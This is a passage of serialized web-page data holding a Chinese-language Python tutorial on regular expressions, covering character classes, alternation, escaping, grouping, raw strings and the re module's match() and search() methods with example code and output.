匹配标点符号(“.”“?”或“!”)。也可以轻松地指定一个字符范围，像",{"type":18,"tag":74,"props":85048,"children":85050},{"className":85049},[],[85051],{"type":24,"value":85052},"[0-9]",{"type":24,"value":85054},"代表的含义与“\\d”就是完全一致的，即表示一位数字；同理，",{"type":18,"tag":74,"props":85056,"children":85058},{"className":85057},[],[85059],{"type":24,"value":85060},"[a-z0-9A-Z_]",{"type":24,"value":85062},"完全等同于",{"type":18,"tag":74,"props":85064,"children":85066},{"className":85065},[],[85067],{"type":24,"value":84520},{"type":24,"value":85069},"（如果只考虑英文的话）。",{"type":18,"tag":96,"props":85071,"children":85072},{},[85073],{"type":18,"tag":34,"props":85074,"children":85075},{},[85076,85078,85084,85086,85092],{"type":24,"value":85077},"说明：要想匹配给定字符串中任意一个汉字，可以使用",{"type":18,"tag":74,"props":85079,"children":85081},{"className":85080},[],[85082],{"type":24,"value":85083},"[\\u4e00-\\u9fa5]",{"type":24,"value":85085},"；如果要匹配连续多个汉字，可以使用",{"type":18,"tag":74,"props":85087,"children":85089},{"className":85088},[],[85090],{"type":24,"value":85091},"[\\u4e00-\\u9fa5]+",{"type":24,"value":111},{"type":18,"tag":27,"props":85094,"children":85096},{"id":85095},"排除字符",[85097],{"type":24,"value":85095},{"type":18,"tag":34,"props":85099,"children":85100},{},[85101,85103,85108,85110,85122],{"type":24,"value":85102},"上述列出的是匹配符合指定字符集合的字符串。现在反过来，匹配不符合指定字符集合的字符串。正则表达式提供了",{"type":18,"tag":74,"props":85104,"children":85106},{"className":85105},[],[85107],{"type":24,"value":84392},{"type":24,"value":85109},"字符。这个元字符在上述文章中出现过，表示行的开始。而",{"type":18,"tag":105,"props":85111,"children":85112},{},[85113,85115,85120],{"type":24,"value":85114},"这里将",{"type":18,"tag":74,"props":85116,"children":85118},{"className":85117},[],[85119],{"type":24,"value":84392},{"type":24,"value":85121},"放到方括号中，表示排除",{"type":24,"value":85123},"的意思。例如：",{"type":18,"tag":287,"props":85125,"children":85127},{"code":85126,"language":28712,"meta":8,"className":28710,"style":8},"[^a-zA-Z]\n",[85128],{"type":18,"tag":74,"props":85129,"children":85130},{"__ignoreMap":8},[85131],{"type":18,"tag":297,"props":85132,"children":85133},{"class":299,"line":300},[85134],{"type":18,"tag":297,"props":85135,"children":85136},{},[85137],{"type":24,"value":85126},{"type":18,"tag":34,"props":85139,"children":85140},{},[85141],{"type":24,"value":85142},"该表达式用于匹配一个不是字母的字符。",{"type":18,"tag":27,"props":85144,"children":85146},{"id":85145},"选择字符",[85147],{"type":24,"value":85145},{"type":18,"tag":34,"props":85149,"children":85150},{},[85151],{"type":24,"value":85152},"试想一下，如何匹配身份证号码？首先需要了解一下身份证号码的规则。身份证号码长度为15位或者18位。如果为15位时，则全为数字；如果为18位时，前17位为数字，最后一位是校验位，可能为数字或字符X。",{"type":18,"tag":34,"props":85154,"children":85155},{},[85156,85158,85164],{"type":24,"value":85157},"在上面的描述中，包含着条件选择的逻辑，这就需要使用选择字符 ",{"type":18,"tag":74,"props":85159,"children":85161},{"className":85160},[],[85162],{"type":24,"value":85163},"|",{"type":24,"value":85165}," 来实现。该字符可以理解为“或”，匹配身份证的表达式可以写成如下方式：",{"type":18,"tag":287,"props":85167,"children":85169},{"code":85168,"language":28712,"meta":8,"className":28710,"style":8},"(^\\d{15}$)|(^\\d{18}$)|(^\\d{17})(\\d|X|x)$\n",[85170],{"type":18,"tag":74,"props":85171,"children":85172},{"__ignoreMap":8},[85173],{"type":18,"tag":297,"props":85174,"children":85175},{"class":299,"line":300},[85176],{"type":18,"tag":297,"props":85177,"children":85178},{},[85179],{"type":24,"value":85168},{"type":18,"tag":34,"props":85181,"children":85182},{},[85183],{"type":24,"value":85184},"该表达式的意思是以匹配15位数字，或者18位数字，或者17位数字和最后一位。最后一位可以是数字，也可以是X或者x。",{"type":18,"tag":27,"props":85186,"children":85188},{"id":85187},"转义字符",[85189],{"type":24,"value":85187},{"type":18,"tag":34,"props":85191,"children":85192},{},[85193,85195,85201],{"type":24,"value":85194},"正则表达式中的转义字符 ",{"type":18,"tag":74,"props":85196,"children":85198},{"className":85197},[],[85199],{"type":24,"value":85200},"\\",{"type":24,"value":85202}," 和Python中的大同小异，都是将特殊字符（如“.”、“?”、“\\”等）变为普通的字符。举一个IP地址的实例，用正则表达式匹配诸如“127.0.0.1”格式的IP地址。如果直接使用点字符，格式为：",{"type":18,"tag":287,"props":85204,"children":85206},{"code":85205,"language":28712,"meta":8,"className":28710,"style":8},"[1-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3} # 这个是错误示例\n",[85207],{"type":18,"tag":74,"props":85208,"children":85209},{"__ignoreMap":8},[85210],{"type":18,"tag":297,"props":85211,"children":85212},{"class":299,"line":300},[85213],{"type":18,"tag":297,"props":85214,"children":85215},{},[85216],{"type":24,"value":85205},{"type":18,"tag":34,"props":85218,"children":85219},{},[85220,85222,85227,85229,85234,85236,85241],{"type":24,"value":85221},"这显然不对，因为",{"type":18,"tag":74,"props":85223,"children":85225},{"className":85224},[],[85226],{"type":24,"value":1147},{"type":24,"value":85228},"可以匹配一个任意字符。这时，不仅是127.0.0.1这样的IP，连127101011这样的字符串也会被匹配出来。所以在使用",{"type":18,"tag":74,"props":85230,"children":85232},{"className":85231},[],[85233],{"type":24,"value":1147},{"type":24,"value":85235},"时，需要使用转义字符",{"type":18,"tag":74,"props":85237,"children":85239},{"className":85238},[],[85240],{"type":24,"value":85200},{"type":24,"value":85242},"。修改后上面的正则表达式格式为：",{"type":18,"tag":287,"props":85244,"children":85246},{"code":85245,"language":28712,"meta":8,"className":28710,"style":8},"[1-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\n",[85247],{"type":18,"tag":74,"props":85248,"children":85249},{"__ignoreMap":8},[85250],{"type":18,"tag":297,"props":85251,"children":85252},{"class":299,"line":300},[85253],{"type":18,"tag":297,"props":85254,"children":85255},{},[85256],{"type":24,"value":85245},{"type":18,"tag":96,"props":85258,"children":85259},{},[85260],{"type":18,"tag":34,"props":85261,"children":85262},{},[85263],{"type":24,"value":85264},"说明：括号在正则表达式中也算是一个元字符。",{"type":18,"tag":27,"props":85266,"children":85268},{"id":85267},"分组",[85269],{"type":24,"value":85267},{"type":18,"tag":34,"props":85271,"children":85272},{},[85273,85275,85280,85282,85287,85288,85293,85294,85299,85300,85305],{"type":24,"value":85274},"通过选择字符的例子，已经对",{"type":18,"tag":105,"props":85276,"children":85277},{},[85278],{"type":24,"value":85279},"小括号的作用",{"type":24,"value":85281},"有了一定的了解。小括号字符的第一个作用就是",{"type":18,"tag":105,"props":85283,"children":85284},{},[85285],{"type":24,"value":85286},"可以改变限定符的作用范围",{"type":24,"value":78696},{"type":18,"tag":74,"props":85289,"children":85291},{"className":85290},[],[85292],{"type":24,"value":85163},{"type":24,"value":1942},{"type":18,"tag":74,"props":85295,"children":85297},{"className":85296},[],[85298],{"type":24,"value":31597},{"type":24,"value":1942},{"type":18,"tag":74,"props":85301,"children":85303},{"className":85302},[],[85304],{"type":24,"value":84392},{"type":24,"value":85306},"等。例如下面的表达式中包含小括号。",{"type":18,"tag":287,"props":85308,"children":85310},{"code":85309,"language":28712,"meta":8,"className":28710,"style":8},"(six|four)th\n",[85311],{"type":18,"tag":74,"props":85312,"children":85313},{"__ignoreMap":8},[85314],{"type":18,"tag":297,"props":85315,"children":85316},{"class":299,"line":300},[85317],{"type":18,"tag":297,"props":85318,"children":85319},{},[85320],{"type":24,"value":85309},{"type":18,"tag":34,"props":85322,"children":85323},{},[85324],{"type":24,"value":85325},"这个表达式的意思是匹配单词sixth或fourth，如果不使用小括号，那么就变成了匹配单词six和fourth了。",{"type":18,"tag":34,"props":85327,"children":85328},{},[85329,85331,85335,85337,85343,85345,85351],{"type":24,"value":85330},"小括号的第二个作用是",{"type":18,"tag":105,"props":85332,"children":85333},{},[85334],{"type":24,"value":85267},{"type":24,"value":85336},"，也就是子表达式。如",{"type":18,"tag":74,"props":85338,"children":85340},{"className":85339},[],[85341],{"type":24,"value":85342},"(\\.[0-9]{1,3}){3}",{"type":24,"value":85344},"，就是对分组",{"type":18,"tag":74,"props":85346,"children":85348},{"className":85347},[],[85349],{"type":24,"value":85350},"(\\.[0-9]{1,3})",{"type":24,"value":85352},"进行重复操作。",{"type":18,"tag":27,"props":85354,"children":85356},{"id":85355},"在python中使用正则表达式语法",[85357],{"type":24,"value":85358},"在Python中使用正则表达式语法",{"type":18,"tag":34,"props":85360,"children":85361},{},[85362],{"type":24,"value":85363},"在Python中使用正则表达式时，是将其作为模式字符串使用的。例如，将匹配不是字母的一个字符的正则表达式表示为模式字符串，可以使用下面的代码：",{"type":18,"tag":287,"props":85365,"children":85367},{"code":85366,"language":28712,"meta":8,"className":28710,"style":8},"'[^a-zA-Z]'\n",[85368],{"type":18,"tag":74,"props":85369,"children":85370},{"__ignoreMap":8},[85371],{"type":18,"tag":297,"props":85372,"children":85373},{"class":299,"line":300},[85374],{"type":18,"tag":297,"props":85375,"children":85376},{},[85377],{"type":24,"value":85366},{"type":18,"tag":34,"props":85379,"children":85380},{},[85381],{"type":24,"value":85382},"而如果将匹配以字母m开头的单词的正则表达式转换为模式字符串，则不能直接在其两侧添加引号定界符，例如，下面的代码是不正确的。",{"type":18,"tag":287,"props":85384,"children":85386},{"code":85385,"language":28712,"meta":8,"className":28710,"style":8},"'\\bm\\w*\\b'  # 错误示范\n",[85387],{"type":18,"tag":74,"props":85388,"children":85389},{"__ignoreMap":8},[85390],{"type":18,"tag":297,"props":85391,"children":85392},{"class":299,"line":300},[85393],{"type":18,"tag":297,"props":85394,"children":85395},{},[85396],{"type":24,"value":85385},{"type":18,"tag":34,"props":85398,"children":85399},{},[85400],{"type":24,"value":85401},"而是需要将其中的“\\”进行转义，转换后的结果为：",{"type":18,"tag":287,"props":85403,"children":85405},{"code":85404,"language":28712,"meta":8,"className":28710,"style":8},"'\\\\bm\\\\w*\\\\b'\n",[85406],{"type":18,"tag":74,"props":85407,"children":85408},{"__ignoreMap":8},[85409],{"type":18,"tag":297,"props":85410,"children":85411},{"class":299,"line":300},[85412],{"type":18,"tag":297,"props":85413,"children":85414},{},[85415],{"type":24,"value":85404},{"type":18,"tag":34,"props":85417,"children":85418},{},[85419],{"type":24,"value":85420},"由于模式字符串中可能包括大量的特殊字符和反斜杠，所以需要写为原生字符串，即在模式字符串前加r或R。例如，上面的模式字符串采用原生字符串表示为：",{"type":18,"tag":287,"props":85422,"children":85424},{"code":85423,"language":28712,"meta":8,"className":28710,"style":8},"r'\\bm\\w*\\b'\n",[85425],{"type":18,"tag":74,"props":85426,"children":85427},{"__ignoreMap":8},[85428],{"type":18,"tag":297,"props":85429,"children":85430},{"class":299,"line":300},[85431],{"type":18,"tag":297,"props":85432,"children":85433},{},[85434],{"type":24,"value":85423},{"type":18,"tag":96,"props":85436,"children":85437},{},[85438],{"type":18,"tag":34,"props":85439,"children":85440},{},[85441,85443,85449],{"type":24,"value":85442},"说明：在编写模式字符串时，并不是所有的反斜杠都需要进行转换，例如，前面编写的正则表达式",{"type":18,"tag":74,"props":85444,"children":85446},{"className":85445},[],[85447],{"type":24,"value":85448},"^\\d{8}$",{"type":24,"value":85450},"中的反斜杠就不需要转义，因为其中的\\d并没有特殊意义。不过，为了编写方便，这里的正则表达式都采用原生字符串表示。",{"type":18,"tag":19,"props":85452,"children":85454},{"id":85453},"匹配字符串",[85455],{"type":24,"value":85453},{"type":18,"tag":34,"props":85457,"children":85458},{},[85459,85461,85466,85468,85473,85475,85481,85482,85488,85489,85495,85497,85503],{"type":24,"value":85460},"Python提供了",{"type":18,"tag":74,"props":85462,"children":85464},{"className":85463},[],[85465],{"type":24,"value":63487},{"type":24,"value":85467},"模块，用于实现正则表达式的操作。在实现时，可以使用",{"type":18,"tag":74,"props":85469,"children":85471},{"className":85470},[],[85472],{"type":24,"value":63487},{"type":24,"value":85474},"模块提供的方法（如",{"type":18,"tag":74,"props":85476,"children":85478},{"className":85477},[],[85479],{"type":24,"value":85480},"search()",{"type":24,"value":1942},{"type":18,"tag":74,"props":85483,"children":85485},{"className":85484},[],[85486],{"type":24,"value":85487},"match()",{"type":24,"value":1942},{"type":18,"tag":74,"props":85490,"children":85492},{"className":85491},[],[85493],{"type":24,"value":85494},"findall()",{"type":24,"value":85496},"等）进行字符串处理，也可以先使用re模块的",{"type":18,"tag":74,"props":85498,"children":85500},{"className":85499},[],[85501],{"type":24,"value":85502},"compile()",{"type":24,"value":85504},"方法将模式字符串转换为正则表达式对象，然后再使用该正则表达式对象的相关方法来操作字符串。",{"type":18,"tag":34,"props":85506,"children":85507},{},[85508,85513],{"type":18,"tag":74,"props":85509,"children":85511},{"className":85510},[],[85512],{"type":24,"value":63487},{"type":24,"value":85514},"模块在使用时，需要先应用import语句引入，具体代码如下：",{"type":18,"tag":287,"props":85516,"children":85518},{"code":85517,"language":28712,"meta":8,"className":28710,"style":8},"import re\n",[85519],{"type":18,"tag":74,"props":85520,"children":85521},{"__ignoreMap":8},[85522],{"type":18,"tag":297,"props":85523,"children":85524},{"class":299,"line":300},[85525],{"type":18,"tag":297,"props":85526,"children":85527},{},[85528],{"type":24,"value":85517},{"type":18,"tag":34,"props":85530,"children":85531},{},[85532],{"type":24,"value":85533},"如果在使用re模块时，没有将其引入，将抛出如图所示的异常。",{"type":18,"tag":34,"props":85535,"children":85536},{},[85537],{"type":18,"tag":54,"props":85538,"children":85541},{"alt":85539,"src":85540},"Pasted image 20250720092257","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250720092257.png",[],{"type":18,"tag":34,"props":85543,"children":85544},{},[85545,85547,85552,85553,85558,85559,85564],{"type":24,"value":85546},"匹配字符串可以使用re模块提供的",{"type":18,"tag":74,"props":85548,"children":85550},{"className":85549},[],[85551],{"type":24,"value":85487},{"type":24,"value":1942},{"type":18,"tag":74,"props":85554,"children":85556},{"className":85555},[],[85557],{"type":24,"value":85480},{"type":24,"value":10315},{"type":18,"tag":74,"props":85560,"children":85562},{"className":85561},[],[85563],{"type":24,"value":85494},{"type":24,"value":85565},"等方法。",{"type":18,"tag":27,"props":85567,"children":85569},{"id":85568},"使用match方法进行匹配",[85570],{"type":24,"value":85571},"使用match()方法进行匹配",{"type":18,"tag":34,"props":85573,"children":85574},{},[85575,85580],{"type":18,"tag":74,"props":85576,"children":85578},{"className":85577},[],[85579],{"type":24,"value":85487},{"type":24,"value":85581},"方法用于从字符串的开始处进行匹配，如果在起始位置匹配成功，则返回Match对象，否则返回None。其语法格式如下：",{"type":18,"tag":287,"props":85583,"children":85585},{"code":85584,"language":28712,"meta":8,"className":28710,"style":8},"re.match(pattern, string, [flags])\n",[85586],{"type":18,"tag":74,"props":85587,"children":85588},{"__ignoreMap":8},[85589],{"type":18,"tag":297,"props":85590,"children":85591},{"class":299,"line":300},[85592],{"type":18,"tag":297,"props":85593,"children":85594},{},[85595],{"type":24,"value":85584},{"type":18,"tag":34,"props":85597,"children":85598},{},[85599],{"type":24,"value":75828},{"type":18,"tag":210,"props":85601,"children":85602},{},[85603,85614,85624],{"type":18,"tag":158,"props":85604,"children":85605},{},[85606,85612],{"type":18,"tag":74,"props":85607,"children":85609},{"className":85608},[],[85610],{"type":24,"value":85611},"pattern",{"type":24,"value":85613},"：表示模式字符串，由要匹配的正则表达式转换而来。",{"type":18,"tag":158,"props":85615,"children":85616},{},[85617,85622],{"type":18,"tag":74,"props":85618,"children":85620},{"className":85619},[],[85621],{"type":24,"value":16841},{"type":24,"value":85623},"：表示要匹配的字符串。",{"type":18,"tag":158,"props":85625,"children":85626},{},[85627,85633],{"type":18,"tag":74,"props":85628,"children":85630},{"className":85629},[],[85631],{"type":24,"value":85632},"flags",{"type":24,"value":85634},"：可选参数，表示标志位，用于控制匹配方式，如是否区分字母大小写。常用的标志如下表所示。",{"type":18,"tag":431,"props":85636,"children":85637},{},[85638,85659],{"type":18,"tag":435,"props":85639,"children":85640},{},[85641],{"type":18,"tag":439,"props":85642,"children":85643},{},[85644,85652],{"type":18,"tag":443,"props":85645,"children":85646},{"align":3465},[85647],{"type":18,"tag":105,"props":85648,"children":85649},{},[85650],{"type":24,"value":85651},"标    志",{"type":18,"tag":443,"props":85653,"children":85654},{"align":3465},[85655],{"type":18,"tag":105,"props":85656,"children":85657},{},[85658],{"type":24,"value":41526},{"type":18,"tag":459,"props":85660,"children":85661},{},[85662,85675,85688,85701,85714],{"type":18,"tag":439,"props":85663,"children":85664},{},[85665,85670],{"type":18,"tag":466,"props":85666,"children":85667},{"align":3465},[85668],{"type":24,"value":85669},"A或ASCII",{"type":18,"tag":466,"props":85671,"children":85672},{"align":3465},[85673],{"type":24,"value":85674},"对于\\w、\\W、\\b、\\B、\\d、\\D、\\s和\\S只进行ASCII匹配（仅适用于Python 3.x）",{"type":18,"tag":439,"props":85676,"children":85677},{},[85678,85683],{"type":18,"tag":466,"props":85679,"children":85680},{"align":3465},[85681],{"type":24,"value":85682},"I或IGNORECASE",{"type":18,"tag":466,"props":85684,"children":85685},{"align":3465},[85686],{"type":24,"value":85687},"执行不区分字母大小写的匹配",{"type":18,"tag":439,"props":85689,"children":85690},{},[85691,85696],{"type":18,"tag":466,"props":85692,"children":85693},{"align":3465},[85694],{"type":24,"value":85695},"M或MULTILINE",{"type":18,"tag":466,"props":85697,"children":85698},{"align":3465},[85699],{"type":24,"value":85700},"将^和$用于包括整个字符串的开始和结尾的每一行（默认情况下，仅适用于整个字符串的开始和结尾处）",{"type":18,"tag":439,"props":85702,"children":85703},{},[85704,85709],{"type":18,"tag":466,"props":85705,"children":85706},{"align":3465},[85707],{"type":24,"value":85708},"S或DOTALL",{"type":18,"tag":466,"props":85710,"children":85711},{"align":3465},[85712],{"type":24,"value":85713},"使用（.）字符匹配所有字符，包括换行符",{"type":18,"tag":439,"props":85715,"children":85716},{},[85717,85722],{"type":18,"tag":466,"props":85718,"children":85719},{"align":3465},[85720],{"type":24,"value":85721},"X或VERBOSE",{"type":18,"tag":466,"props":85723,"children":85724},{"align":3465},[85725],{"type":24,"value":85726},"忽略模式字符串中未转义的空格和注释",{"type":18,"tag":34,"props":85728,"children":85729},{},[85730],{"type":24,"value":85731},"例如，匹配字符串是否以“mr_”开头，不区分字母大小写，代码如下：",{"type":18,"tag":287,"props":85733,"children":85735},{"code":85734,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'mr_\\w+'                        # 模式字符串\nstring = 'MR_SHOP mr_shop'                  # 要匹配的字符串\nmatch = re.match(pattern,string,re.I)      # 匹配字符串，不区分大小写\nprint(match)                                  # 输出匹配结果\nstring = '项目名称MR_SHOP mr_shop'\nmatch = re.match(pattern,string,re.I)      # 匹配字符串，不区分大小写\nprint(match)                                  # 输出匹配结果\n",[85736],{"type":18,"tag":74,"props":85737,"children":85738},{"__ignoreMap":8},[85739,85746,85754,85762,85770,85778,85786,85793],{"type":18,"tag":297,"props":85740,"children":85741},{"class":299,"line":300},[85742],{"type":18,"tag":297,"props":85743,"children":85744},{},[85745],{"type":24,"value":85517},{"type":18,"tag":297,"props":85747,"children":85748},{"class":299,"line":657},[85749],{"type":18,"tag":297,"props":85750,"children":85751},{},[85752],{"type":24,"value":85753},"pattern = r'mr_\\w+'                        # 模式字符串\n",{"type":18,"tag":297,"props":85755,"children":85756},{"class":299,"line":662},[85757],{"type":18,"tag":297,"props":85758,"children":85759},{},[85760],{"type":24,"value":85761},"string = 'MR_SHOP mr_shop'                  # 要匹配的字符串\n",{"type":18,"tag":297,"props":85763,"children":85764},{"class":299,"line":799},[85765],{"type":18,"tag":297,"props":85766,"children":85767},{},[85768],{"type":24,"value":85769},"match = re.match(pattern,string,re.I)      # 匹配字符串，不区分大小写\n",{"type":18,"tag":297,"props":85771,"children":85772},{"class":299,"line":808},[85773],{"type":18,"tag":297,"props":85774,"children":85775},{},[85776],{"type":24,"value":85777},"print(match)                                  # 输出匹配结果\n",{"type":18,"tag":297,"props":85779,"children":85780},{"class":299,"line":817},[85781],{"type":18,"tag":297,"props":85782,"children":85783},{},[85784],{"type":24,"value":85785},"string = '项目名称MR_SHOP mr_shop'\n",{"type":18,"tag":297,"props":85787,"children":85788},{"class":299,"line":826},[85789],{"type":18,"tag":297,"props":85790,"children":85791},{},[85792],{"type":24,"value":85769},{"type":18,"tag":297,"props":85794,"children":85795},{"class":299,"line":4524},[85796],{"type":18,"tag":297,"props":85797,"children":85798},{},[85799],{"type":24,"value":85777},{"type":18,"tag":34,"props":85801,"children":85802},{},[85803],{"type":24,"value":82736},{"type":18,"tag":287,"props":85805,"children":85807},{"code":85806},"\u003C_sre.SRE_Match object; span=(0, 7), match='MR_SHOP'>\nNone\n",[85808],{"type":18,"tag":74,"props":85809,"children":85810},{"__ignoreMap":8},[85811],{"type":24,"value":85806},{"type":18,"tag":34,"props":85813,"children":85814},{},[85815],{"type":24,"value":85816},"从上面的执行结果中可以看出，字符串“MR_SHOP”以“mr_”开头，将返回一个Match对象，而字符串“项目名称MR_SHOP”没有以“mr_”开头，将返回“None”。这是因为match()方法从字符串的开始位置开始匹配，当第一个字母不符合条件时，则不再进行匹配，直接返回None。",{"type":18,"tag":34,"props":85818,"children":85819},{},[85820,85825,85826,85831,85832,85844,85846,85851,85852,85863,85865,85870,85871,85876],{"type":18,"tag":105,"props":85821,"children":85822},{},[85823],{"type":24,"value":85824},"Match对象中包含了匹配值的位置和匹配数据",{"type":24,"value":52038},{"type":18,"tag":105,"props":85827,"children":85828},{},[85829],{"type":24,"value":85830},"要获取匹配值的起始位置",{"type":24,"value":68228},{"type":18,"tag":105,"props":85833,"children":85834},{},[85835,85837,85843],{"type":24,"value":85836},"使用Match对象的",{"type":18,"tag":74,"props":85838,"children":85840},{"className":85839},[],[85841],{"type":24,"value":85842},"start()",{"type":24,"value":73171},{"type":24,"value":85845},"；要",{"type":18,"tag":105,"props":85847,"children":85848},{},[85849],{"type":24,"value":85850},"获取匹配值的结束位置",{"type":24,"value":68228},{"type":18,"tag":105,"props":85853,"children":85854},{},[85855,85856,85862],{"type":24,"value":35582},{"type":18,"tag":74,"props":85857,"children":85859},{"className":85858},[],[85860],{"type":24,"value":85861},"end()",{"type":24,"value":73171},{"type":24,"value":85864},"；通过",{"type":18,"tag":105,"props":85866,"children":85867},{},[85868],{"type":24,"value":85869},"span()方法",{"type":24,"value":68228},{"type":18,"tag":105,"props":85872,"children":85873},{},[85874],{"type":24,"value":85875},"返回匹配位置的元组",{"type":24,"value":85877},"；通过string属性可以获取要匹配的字符串。例如下面的代码：",{"type":18,"tag":287,"props":85879,"children":85881},{"code":85880,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'mr_\\w+'                               # 模式字符串\nstring = 'MR_SHOP mr_shop'                      # 要匹配的字符串\nmatch = re.match(pattern,string,re.I)          # 匹配字符串，不区分大小写\nprint('匹配值的起始位置：',match.start())\nprint('匹配值的结束位置：',match.end())\nprint('匹配位置的元组：',match.span())\nprint('要匹配的字符串：',match.string)\nprint('匹配数据：',match.group())\n",[85882],{"type":18,"tag":74,"props":85883,"children":85884},{"__ignoreMap":8},[85885,85892,85900,85908,85916,85924,85932,85940,85948],{"type":18,"tag":297,"props":85886,"children":85887},{"class":299,"line":300},[85888],{"type":18,"tag":297,"props":85889,"children":85890},{},[85891],{"type":24,"value":85517},{"type":18,"tag":297,"props":85893,"children":85894},{"class":299,"line":657},[85895],{"type":18,"tag":297,"props":85896,"children":85897},{},[85898],{"type":24,"value":85899},"pattern = r'mr_\\w+'                               # 模式字符串\n",{"type":18,"tag":297,"props":85901,"children":85902},{"class":299,"line":662},[85903],{"type":18,"tag":297,"props":85904,"children":85905},{},[85906],{"type":24,"value":85907},"string = 'MR_SHOP mr_shop'                      # 要匹配的字符串\n",{"type":18,"tag":297,"props":85909,"children":85910},{"class":299,"line":799},[85911],{"type":18,"tag":297,"props":85912,"children":85913},{},[85914],{"type":24,"value":85915},"match = re.match(pattern,string,re.I)          # 匹配字符串，不区分大小写\n",{"type":18,"tag":297,"props":85917,"children":85918},{"class":299,"line":808},[85919],{"type":18,"tag":297,"props":85920,"children":85921},{},[85922],{"type":24,"value":85923},"print('匹配值的起始位置：',match.start())\n",{"type":18,"tag":297,"props":85925,"children":85926},{"class":299,"line":817},[85927],{"type":18,"tag":297,"props":85928,"children":85929},{},[85930],{"type":24,"value":85931},"print('匹配值的结束位置：',match.end())\n",{"type":18,"tag":297,"props":85933,"children":85934},{"class":299,"line":826},[85935],{"type":18,"tag":297,"props":85936,"children":85937},{},[85938],{"type":24,"value":85939},"print('匹配位置的元组：',match.span())\n",{"type":18,"tag":297,"props":85941,"children":85942},{"class":299,"line":4524},[85943],{"type":18,"tag":297,"props":85944,"children":85945},{},[85946],{"type":24,"value":85947},"print('要匹配的字符串：',match.string)\n",{"type":18,"tag":297,"props":85949,"children":85950},{"class":299,"line":4533},[85951],{"type":18,"tag":297,"props":85952,"children":85953},{},[85954],{"type":24,"value":85955},"print('匹配数据：',match.group())\n",{"type":18,"tag":34,"props":85957,"children":85958},{},[85959],{"type":24,"value":82736},{"type":18,"tag":287,"props":85961,"children":85963},{"code":85962},"匹配值的起始位置： 0\n匹配值的结束位置： 7\n匹配位置的元组： (0, 7)\n要匹配字符串： MR_SHOP mr_shop\n匹配数据： MR_SHOP\n",[85964],{"type":18,"tag":74,"props":85965,"children":85966},{"__ignoreMap":8},[85967],{"type":24,"value":85962},{"type":18,"tag":27,"props":85969,"children":85971},{"id":85970},"使用search方法进行匹配",[85972],{"type":24,"value":85973},"使用search()方法进行匹配",{"type":18,"tag":34,"props":85975,"children":85976},{},[85977,85982,85984,85989,85991,85996],{"type":18,"tag":74,"props":85978,"children":85980},{"className":85979},[],[85981],{"type":24,"value":85480},{"type":24,"value":85983},"方法用于",{"type":18,"tag":105,"props":85985,"children":85986},{},[85987],{"type":24,"value":85988},"在整个字符串中搜索第一个匹配的值",{"type":24,"value":85990},"，如果匹配成功，则返回Match对象，否则返回None。",{"type":18,"tag":74,"props":85992,"children":85994},{"className":85993},[],[85995],{"type":24,"value":85480},{"type":24,"value":83930},{"type":18,"tag":287,"props":85998,"children":86000},{"code":85999,"language":28712,"meta":8,"className":28710,"style":8},"re.search(pattern, string, [flags])\n",[86001],{"type":18,"tag":74,"props":86002,"children":86003},{"__ignoreMap":8},[86004],{"type":18,"tag":297,"props":86005,"children":86006},{"class":299,"line":300},[86007],{"type":18,"tag":297,"props":86008,"children":86009},{},[86010],{"type":24,"value":85999},{"type":18,"tag":34,"props":86012,"children":86013},{},[86014],{"type":24,"value":75828},{"type":18,"tag":210,"props":86016,"children":86017},{},[86018,86027,86036],{"type":18,"tag":158,"props":86019,"children":86020},{},[86021,86026],{"type":18,"tag":74,"props":86022,"children":86024},{"className":86023},[],[86025],{"type":24,"value":85611},{"type":24,"value":85613},{"type":18,"tag":158,"props":86028,"children":86029},{},[86030,86035],{"type":18,"tag":74,"props":86031,"children":86033},{"className":86032},[],[86034],{"type":24,"value":16841},{"type":24,"value":85623},{"type":18,"tag":158,"props":86037,"children":86038},{},[86039,86044],{"type":18,"tag":74,"props":86040,"children":86042},{"className":86041},[],[86043],{"type":24,"value":85632},{"type":24,"value":86045},"：可选参数，表示标志位，用于控制匹配方式，如是否区分字母大小写。常用的标志如表5所示。",{"type":18,"tag":34,"props":86047,"children":86048},{},[86049],{"type":24,"value":86050},"例如，搜索第一个以“mr_”开头的字符串，不区分字母大小写，代码如下：",{"type":18,"tag":287,"props":86052,"children":86054},{"code":86053,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'mr_\\w+'                              # 模式字符串\nstring = 'MR_SHOP mr_shop'                      # 要匹配的字符串\nmatch = re.search(pattern,string,re.I)          # 搜索字符串，不区分大小写\nprint(match)                                      # 输出匹配结果\nstring = '项目名称MR_SHOP mr_shop'\nmatch = re.search(pattern,string,re.I)          # 搜索字符串，不区分大小写\nprint(match)                                      # 输出匹配结果\n",[86055],{"type":18,"tag":74,"props":86056,"children":86057},{"__ignoreMap":8},[86058,86065,86073,86080,86088,86096,86103,86110],{"type":18,"tag":297,"props":86059,"children":86060},{"class":299,"line":300},[86061],{"type":18,"tag":297,"props":86062,"children":86063},{},[86064],{"type":24,"value":85517},{"type":18,"tag":297,"props":86066,"children":86067},{"class":299,"line":657},[86068],{"type":18,"tag":297,"props":86069,"children":86070},{},[86071],{"type":24,"value":86072},"pattern = r'mr_\\w+'                              # 模式字符串\n",{"type":18,"tag":297,"props":86074,"children":86075},{"class":299,"line":662},[86076],{"type":18,"tag":297,"props":86077,"children":86078},{},[86079],{"type":24,"value":85907},{"type":18,"tag":297,"props":86081,"children":86082},{"class":299,"line":799},[86083],{"type":18,"tag":297,"props":86084,"children":86085},{},[86086],{"type":24,"value":86087},"match = re.search(pattern,string,re.I)          # 搜索字符串，不区分大小写\n",{"type":18,"tag":297,"props":86089,"children":86090},{"class":299,"line":808},[86091],{"type":18,"tag":297,"props":86092,"children":86093},{},[86094],{"type":24,"value":86095},"print(match)                                      # 